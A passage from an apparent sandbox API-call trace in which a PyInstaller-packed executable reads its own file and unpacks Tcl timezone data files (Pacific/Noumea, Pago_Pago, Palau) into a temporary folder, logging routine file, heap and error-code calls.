lpSystemTime=0x4f8ce0) returned 1 [0043.211] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.212] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.212] CloseHandle (hObject=0x10c) returned 1 [0043.212] GetLastError () returned 0x0 [0043.212] SetLastError (dwErrCode=0x0) [0043.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Noumea") returned 71 [0043.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Noumea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\noumea"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.212] GetLastError () returned 0x2 [0043.212] SetLastError (dwErrCode=0x2) [0043.212] GetLastError () returned 0x2 [0043.212] SetLastError (dwErrCode=0x2) [0043.212] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Noumea", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Noumea", lpFilePart=0x0) returned 0x46 [0043.212] GetLastError () returned 0x2 [0043.212] SetLastError (dwErrCode=0x2) [0043.212] GetLastError () returned 0x2 [0043.212] SetLastError (dwErrCode=0x2) [0043.212] GetLastError () returned 0x2 [0043.212] SetLastError (dwErrCode=0x2) [0043.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Noumea") returned 71 [0043.212] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Noumea" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\noumea"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.212] GetFileType (hFile=0x10c) returned 0x1 [0043.212] htonl (hostlong=0x3d010000) returned 0x13d [0043.212] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.213] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x13d, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x13d, lpOverlapped=0x0) returned 1 [0043.213] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.213] CloseHandle (hObject=0x10c) returned 1 [0043.213] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.214] htonl (hostlong=0x30000000) returned 0x30 [0043.214] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.214] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.214] GetFileType (hFile=0x10c) returned 0x1 [0043.214] htonl (hostlong=0x241e5d00) returned 0x5d1e24 [0043.214] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61ce24, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.214] htonl (hostlong=0xb8000000) returned 0xb8 [0043.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x5603b0 [0043.214] htonl (hostlong=0xb8000000) returned 0xb8 [0043.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.214] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.214] htonl (hostlong=0xe010000) returned 0x10e [0043.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10e) returned 0x550600 [0043.214] htonl (hostlong=0xb8000000) returned 0xb8 [0043.214] htonl (hostlong=0xe010000) returned 0x10e [0043.214] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5603b0 | out: hHeap=0x530000) returned 1 [0043.214] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.214] CloseHandle (hObject=0x10c) returned 1 [0043.214] GetLastError () returned 0x0 [0043.214] SetLastError (dwErrCode=0x0) [0043.214] GetLastError () returned 0x0 [0043.214] SetLastError (dwErrCode=0x0) [0043.214] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.215] GetFileType (hFile=0x10c) returned 0x1 [0043.215] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.215] CloseHandle (hObject=0x10c) returned 1 [0043.215] GetLastError () returned 0x0 [0043.215] SetLastError (dwErrCode=0x0) [0043.215] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.215] GetFileType (hFile=0x10c) returned 0x1 [0043.215] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.215] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.215] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.215] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.216] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.216] CloseHandle (hObject=0x10c) returned 1 [0043.216] GetLastError () returned 0x0 [0043.216] SetLastError (dwErrCode=0x0) [0043.216] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.216] GetFileType (hFile=0x10c) returned 0x1 [0043.216] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.216] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.216] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.216] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.216] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.216] CloseHandle (hObject=0x10c) returned 1 [0043.216] GetLastError () returned 0x0 [0043.216] SetLastError (dwErrCode=0x0) [0043.216] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pago_Pago") returned 74 [0043.216] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pago_Pago" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\pago_pago"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.216] GetLastError () returned 0x2 [0043.217] SetLastError (dwErrCode=0x2) [0043.217] GetLastError () returned 0x2 [0043.217] SetLastError (dwErrCode=0x2) [0043.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pago_Pago", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pago_Pago", lpFilePart=0x0) returned 0x49 [0043.217] GetLastError () returned 0x2 [0043.217] SetLastError (dwErrCode=0x2) [0043.217] GetLastError () returned 0x2 [0043.217] SetLastError (dwErrCode=0x2) [0043.217] GetLastError () returned 0x2 [0043.217] SetLastError (dwErrCode=0x2) [0043.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pago_Pago") returned 74 [0043.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Pago_Pago" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\pago_pago"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.217] GetFileType (hFile=0x10c) returned 0x1 [0043.217] htonl (hostlong=0xe010000) returned 0x10e [0043.217] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.217] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x10e, lpOverlapped=0x0) returned 1 [0043.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.218] CloseHandle (hObject=0x10c) returned 1 [0043.218] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.218] htonl (hostlong=0x30000000) returned 0x30 [0043.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.218] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.218] GetFileType (hFile=0x10c) returned 0x1 [0043.219] htonl (hostlong=0xdc1e5d00) returned 0x5d1edc [0043.219] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61cedc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.219] htonl (hostlong=0x8a000000) returned 0x8a [0043.219] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0043.219] htonl (hostlong=0x8a000000) returned 0x8a [0043.219] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.219] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.219] htonl (hostlong=0x91000000) returned 0x91 [0043.219] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0043.219] htonl (hostlong=0x8a000000) returned 0x8a [0043.219] htonl (hostlong=0x91000000) returned 0x91 [0043.219] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.219] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.219] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.219] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.219] CloseHandle (hObject=0x10c) returned 1 [0043.219] GetLastError () returned 0x0 [0043.219] SetLastError (dwErrCode=0x0) [0043.219] GetLastError () returned 0x0 [0043.219] SetLastError (dwErrCode=0x0) [0043.219] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.219] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.219] GetFileType (hFile=0x10c) returned 0x1 [0043.219] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.219] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.219] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.219] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.220] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.220] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.220] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.220] CloseHandle (hObject=0x10c) returned 1 [0043.220] GetLastError () returned 0x0 [0043.220] SetLastError (dwErrCode=0x0) [0043.220] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.220] GetFileType (hFile=0x10c) returned 0x1 [0043.220] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.220] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.220] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.220] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.220] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.220] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.220] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.220] CloseHandle (hObject=0x10c) returned 1 [0043.220] GetLastError () returned 0x0 [0043.220] SetLastError (dwErrCode=0x0) [0043.220] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.221] GetFileType (hFile=0x10c) returned 0x1 [0043.221] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.221] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.221] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.221] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.221] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.221] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.221] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.221] CloseHandle (hObject=0x10c) returned 1 [0043.221] GetLastError () returned 0x0 [0043.221] SetLastError (dwErrCode=0x0) [0043.221] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Palau") returned 70 [0043.221] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Palau" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\palau"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.221] GetLastError () returned 0x2 [0043.221] SetLastError (dwErrCode=0x2) [0043.221] GetLastError () returned 0x2 [0043.221] SetLastError 